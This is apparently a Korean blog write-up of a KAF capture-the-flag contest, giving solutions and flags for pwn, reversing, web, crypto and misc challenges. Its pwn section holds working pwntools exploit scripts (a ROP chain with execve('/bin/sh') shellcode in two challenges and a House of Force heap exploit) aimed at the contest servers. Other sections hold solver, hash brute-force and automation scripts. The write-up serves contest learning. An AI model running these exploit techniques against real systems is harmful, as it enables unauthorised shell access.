Pwn :: Preflag
잘 찍으면 풀리는 문제다. ㄷㄷ
아마 flag 파일에 flag가 preprocess defined 되어 있을 것 같다.
1
2
3
4
5
6
7
|
#include <stdio.h>
#include "flag"
int main() {
printf("%s", flag);
return 0;
}
|
컴파일된 바이너리에서 문자열을 뽑아오면 된다.
Flag: KAF{PR3PR0C355_L1K3_1_B055}
Pwn :: Simple Authorizer
간단한 ROP인데 pwntools로 ssh 연결하는 게 처음이라 상당히 애를 먹었다.
scanf로 입력받을 때 mov al, 0xB를 하면 vertical tab 때문에 문자열이 잘리므로 al에 0x80을 넣은 뒤 0x75를 빼줘서 0xB를 만들었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./SA')
else :
_p = ssh(user='yeet', host='ctf2.kaf.sh', port=7020, password='12345678')
p = _p.shell(tty=False)
def exploit() :
scanf_plt = 0x8048450 # __isoc99_scanf
p.writeline('A')
payload = 'A'*8
payload += '\x00'
payload += 'A'*15
payload += p32(scanf_plt)
payload += p32(0x804A100)
payload += p32(0x8048779) # "%s"
payload += p32(0x804A100)
p.writeline(payload)
p.readuntil('Password\n')
p.writeline("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89\xC1\x89\xC2\xB0\x80\x2C\x75\xCD\x80\x31\xC0\x40\xCD\x80")
p.interactive()
# xor eax, eax
# push eax
# push 0x68732F2F
# push 0x6E69622F
# mov ebx, esp
# mov ecx, eax
# mov edx, eax
# mov al, 0x80
# sub al, 0x75
# int 0x80
# xor eax, eax
# inc eax
# int 0x80
if __name__ == '__main__' :
exploit()
|
Flag: KAF{2147483647_to_-2147483648_makes_me_wanna_cry}
Pwn :: Contracts
Simple Authorizer랑 풀이방법이 완전히 같고 입출력만 잘 맞춰주면 된다. ㅋㅋ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./Contracts')
else :
_p = ssh(user='yeet', host='ctf2.kaf.sh', port=7010, password='12345678')
p = _p.shell(tty=False)
def exploit() :
scanf_plt = 0x8048450 # __isoc99_scanf
p.writeline('2')
payload = '\x00'
payload += 'A'*0x107
payload += p32(scanf_plt)
payload += p32(0x804A100)
payload += p32(0x80487EF) # "%s"
payload += p32(0x804A100)
p.writeline(payload)
p.writeline('3')
p.writeline("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89\xC1\x89\xC2\xB0\x80\x2C\x75\xCD\x80\x31\xC0\x40\xCD\x80")
p.interactive()
# xor eax, eax
# push eax
# push 0x68732F2F
# push 0x6E69622F
# mov ebx, esp
# mov ecx, eax
# mov edx, eax
# mov al, 0x80
# sub al, 0x75
# int 0x80
# xor eax, eax
# inc eax
# int 0x80
if __name__ == '__main__' :
exploit()
|
Flag: KAF{AAAAAAAAAA_41414141_its_poisonous}
Pwn :: CookShow
tcache인지 fastbin인지 모르겠지만 아무튼 dup 버그로 small과 medium의 포인터를 같게 만들어주면 된다.
1. add small, size=0x40
2. add medium, size=0x40
3. remove small
4. remove medium
5. remove small
6. add small, size=0x40
7. add medium, size=0x40
8. add medium, size=0x40
9. 1337
Flag: KAF{Do_Y0U_Ev3N_MALLoC_bruh?}
Pwn :: CloneWarS
간단한 House of Force 챌린지다. file에 chunk를 덮어씌우고 내용을 ls\x00, cat flag.txt\x00 등으로 수정해서 쉘 커맨드를 실행하면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./CloneWarS')
else :
_p = ssh(user='yeet', host='ctf2.kaf.sh', port=7000, password='12345678')
p = _p.shell(tty=False)
def exploit() :
p.writelineafter('choice: ', '6')
p.readuntil('at: ')
code_base = int(p.readline()[:-1])-0x202010
print('[Exploit] code base = '+hex(code_base))
p.writelineafter('choice: ', '3')
p.writelineafter(': ', str(0x20))
p.writelineafter(': ', 'FF')
p.writelineafter(': ', str(0x30))
p.writelineafter('choice: ', '2')
p.writelineafter('? ', '1')
p.readuntil('.... ')
heap = int(p.readuntil(' ......')[:-7])-0x110
print('[Exploit] heap address = '+hex(heap))
p.writelineafter('choice: ', '1')
p.writelineafter(': ', str(code_base+0x202010-(heap+0x30)-8))
p.writelineafter('choice: ', '5')
p.writelineafter(': ', str(0x20))
p.writelineafter(': ', 'cat flag.txt\x00')
p.writelineafter('choice: ', '6')
p.interactive()
if __name__ == '__main__' :
exploit()
|
Flag: KAF{MaY_tHe_F0RCE_B3_W1tH_YOUUU10293012884}
Reversing :: Package
UPX packed
Flag: KAF{p4ckp4ckp4ck_p4ckm4n}
Reversing :: dkdos
H모 CTF 이후로 다시 DOS Executable을 다루게 되었다.. 대신 여기서는 유틸같은건 쓰지 않고 순수하게 i8086 어셈블리를 직접 읽으면서 분석해야 한다.
seg0:0x29에서 dseg:0xB4에 문자열을 최대 9글자만큼 담는다. (Termination 포함) [Reference]
seg0:0x38은 결과를 확인하는 곳이며 실질적인 문자열 비교는 seg0:0x0에서 이루어진다.
바이너리를 보면 프로그램 실행 중에 코드 동적 패치가 이루어진다는 것에 주목해야 한다.
초기 문자열 출력 후 seg0:0x11과 seg0:0x13을 D1 27 (shl bx, 1) 로 바꾸고, 입력받는 루틴에서 seg0:0x15를 01 07 (add bx, ax), 비교 루틴 진입 전 seg0:0x09를 8A 07 (mov al, bx) 로 바꾼다.
위 변경 사항을 적용해서 비교 루틴을 분석하면, 다음과 같은 식의 결과값이 dseg:0xC0에 쓰여짐을 알 수 있다. (xn은 n번째 문자이다. begin from 1)
(((((((x1*4+x2)*4+x3)*4+x4)*4+x5)*4+x6)*4+x7)*4+x8)
이 값이 0xCFE1과 다르면 바로 Fail 루틴으로 넘어가게 된다. 또, 문자열의 길이가 8이 아니면 바로 실패하게 된다.
하나하나 계산할 수도 있지만 귀찮아서 claripy solver engine을 이용해서 문자 8개를 구했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
import claripy
b = [claripy.BVS('x%d'%(i+1), 32) for i in range(8)]
sv = claripy.Solver()
for bv in b :
sv.add(bv >= 33)
sv.add(bv <= 126)
res = claripy.BVV(0, 32)
for i in range(8) :
res += (4**(7-i))*b[i]
res %= 0x10000
sv.add(res == 0xCFE1)
for bv in b :
print(chr(sv.eval(bv, 1)[0]))
|
이 문자열을 ctf.kaf.sh:6000에 연결해서 보내주면 플래그가 나온다.
Flag: KAF{D05_15_JU57_700_C00L}
Web :: KipodStab
dirsearch 돌려서 겨우 찾았다..
/Dockerfile
Flag: KAF{dOn7_5748_doCK3R_CON741n3R2}
Crypto :: BackHash
문자열 길이에 따라 암호화 방식이 달라지는데, 3N일 때는 MD5, 3N+1일 때는 SHA1+MD5로 해싱하고 3N+2일 때는 잘 모르겠다.
31글자 해시 기준으로 f1a9를 포함하도록 계속 해싱하는 코드를 짜서 풀었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import hashlib
r = open('/dev/urandom', 'rb')
hash = b''
size = 0
while size < 31 :
c = r.read(1)
ci = int.from_bytes(c, 'little')
if (48<=ci<=57) or (97<=ci<=102) :
hash += c
size += 1
r.close()
count = 0
# size=3N > MD5
# size=3N+1 > SHA1+MD5
# size=3N+2 > ?
while True :
t = bytes(hashlib.sha1(hash).hexdigest(), 'utf-8')
next = bytes(hashlib.md5(t).hexdigest(), 'utf-8')
print('[Info] '+str(hash)+' > '+str(t)+' > '+str(next))
if b'f1a9' in next : break
hash = next[:-1]
count += 1
print('[Info] Generated hashes: %d'%count)
|
Flag: KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}
Crypto :: SmpleKye
일찍 풀수록 유리한 게임 .. ㅡㅡ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
import hashlib
GENERATED = 0
charset = [b'0', b'1', b'2', b'3', b'4', b'5', b'6', b'7', b'8', b'9', b'a', b'b', b'c', b'd', b'e', b'f']
salt = b'02'
def generate(size, init=b'') :
if size < 0 : return None
if size == 0 : test(init)
for c in charset :
generate(size-1, init+c)
def test(s) :
global GENERATED
global salt
text = salt+s
hash = bytes(hashlib.sha256(text).hexdigest(), 'utf-8')
GENERATED += 1
if text in hash :
print('[Info] '+str(text)+' > '+str(hash))
print('[Info] Generated hashes: %d'%GENERATED)
suffix_size = 3
while True :
print('[Info] suffix size = %d'%suffix_size)
generate(suffix_size)
suffix_size += 1
|
Flag: KAF{ju57_4_51mpl3_pr00F_0F_w0Rk}
Crypto :: Back2Back
주어진 문자열을 살펴보니 뭔가 BrainFuck과 닮은 것 같아서 ASCII Shift를 돌려보니 key=120에서 정상적인 코드가 나왔다.
(문제 description에 뇌를 다쳤다고 하는 부분에서 imply 하는듯)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>------------.------.+++.+++++++++++++++++++.+++.<<+++++.>>----------.<++++++.<+.-.>.<++.-----.++++.>.>++++++++++++++++.----------------.<<+++.-----.>>++++++++++++++++++++++++++++.--------.---------------.++++++++++.++++++++.<.<++.-.>.<++.-----.++++.>.>-------------.<<-.>>----------.+++++++++++++.
|
이 코드를 실행하면 아래의 문자열이 나온다.
XRUhk#aL$#L% $Lqa'\"}ufpxL$#L% $Lk#an
이것저것 돌려보다가 xor 19를 하니 플래그가 나왔다. 끗
Flag: KAF{x0r_70_637_br41nfuck_70_637_x0r}
Misc :: Not A Flag
Flag: KAF{D1SC0RD_1S_9R3A7}
Misc :: Tupper needs help
Tupper's self-referential formula
Flag: KAF{MY_KIPOD_IS_HUGE}
Misc :: SmellyOnion
onion + 40 compressed subfiles
41개의 zip 파일 뒤에 붙어있는 2바이트를 hex로 decode해서 모아주면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#!/usr/bin/python
files = [str(i) for i in range(41)]
files[0] = 'onion'
flag = ''
for fn in files :
f = open('./files/'+fn, 'rb')
f.seek(-2, 2)
flag += f.read(2).decode('hex')
f.close()
print(flag)
|
Flag: KAF{21P_PH1L32_R_AW3S0M3_D0NT_Y0U_TH1NK}
Misc :: QueueR
이게 15점이라는게 믿기지가 않는다. python socket programming과 다양한 유틸들을 알게 되었긴 하지만.. 너무 힘이 빠진다..
pcap 파일을 분석하면, 어떤 호스트한테서 PNG를 받고 문자열을 보내는 걸 반복하는 게 보인다. 해당 통신 끝자락에 플래그 형식의 문자열이 있는데 이건 낚시고, 실제 플래그는 직접 서버랑 TCP 통신하면서 적절한 데이터를 송신해야 한다.
PNG는 ISBN 13 코드를 표현하는 QR코드고, 보내야 하는 문자열은 책 제목이다. 그리고 이걸 대략 30번정도 반복해야 플래그가 나온다. WTF
여러 삽질을 하다가 QRCode 인식까지는 자동화를 시켰고 ISBN을 웹파싱으로 해결할까도 생각해 봤지만 배보다 배꼽이 커지는 현상이 될 것 같아서, ISBN과 책 재목을 dictionary로 매칭했고 결과를 파일에 저장하는 식으로 처리했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
from socket import *
from pyzbar.pyzbar import decode
from PIL import Image
s = socket(AF_INET, SOCK_STREAM, 0)
host = '34.89.220.233'
port = 6010
s.connect((host, port))
r = s.recv(0x100000)
books = {}
lf = open('./listfiles', 'r')
while True :
line = lf.readline().rstrip()
if len(line) == 0 : break
if not ';;' in line : continue
books[line.split(';;')[0]] = line.split(';;')[1]
lf.close()
while True :
f = open('./result.png', 'wb+')
f.write(r)
f.close()
qrdec = decode(Image.open('result.png'))[0].data.decode()
print('[Info] File saved. (result.png), ISBN 13: '+qrdec)
if not qrdec in books :
print(' Book title: ', end='')
book = input().encode()
else :
print(' Book found in database: '+books[qrdec])
book = books[qrdec].encode()
s.send(book)
r = s.recv(0x1000)
if b'Goodbye' in r :
print('[Info] Failed.')
break
if b'KAF' in r :
r = r.decode()
print('[Info] Flag found: '+r[r.find('KAF'):])
break
books[qrdec] = book.decode()
r = s.recv(0x100000)
lf = open('./listfiles', 'w')
for k in books :
lf.write(k+';;'+books[k]+'\n')
lf.close()
s.close()
|
Flag: KAF{k4r1_m4rx_15_7h3_b357}
Misc :: Shebang
시장에 존재하는 플래그를 쓸어담으면 된다. $120에 사고 $180에 파는 걸 반복하면 되는데, 문제는 파산하면 해당 딜러와 거래가 불가능해져서 플래그를 갖고 있는 사람이 한 명이라도 파산하면 바로 게임 오버다. 그리고 플레이어가 파산하기 시작하는 타이밍이 꽤 빠르므로 거래를 자동화해야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
from time import sleep
p = connect('ctf.kaf.sh', 1120)
traders = []
p.readuntil('OK')
p.read(0x1000)
p.writeline('traders')
sleep(1)
r = p.read(0x1000).replace('\x1b[1;33m', '').replace('\x1b[0m', '').replace('\x1b[1;32m', '').replace('\x1b[0;37m', '').split('\n')
for e in r :
if e == '' : continue
traders.append(e[:-5])
print(traders)
for trader in traders :
for i in range(50) :
p.writeline('buy 1 flag '+trader+' 120')
p.writeline('sell 1 flag '+trader+' 180')
p.interactive()
|
아래는 작업이 끝난 뒤 인벤토리의 상황이다.
$ shebang
Shebang!
KAF{wr1t3_a_5cript_t0_w1nn_th1s_0n3}
$ inventory
Your inventory:
Tomato, 4pcs, totaling 24$ - 6$ each.
Dog, 1pcs, totaling 60$ - 60$ each.
Orange, 1pcs, totaling 3$ - 3$ each.
Console, 4pcs, totaling 160$ - 40$ each.
Flag, 46pcs, totaling 6900$ - 150$ each.
Your inventory totals to 7147$, and you have 2660$ cash.
$
|
Flag: KAF{wr1t3_a_5cript_t0_w1nn_th1s_0n3}
'CTF > CTF Playground' 카테고리의 다른 글
Rice Tea Cat Panda (0) | 2020.01.22 |
---|---|
Christmas CTF (0) | 2019.12.25 |
TUCTF 2019 (0) | 2019.12.01 |
HCTF 2019 Beginner Section (0) | 2019.11.17 |
Newbie CTF 2019 (0) | 2019.11.02 |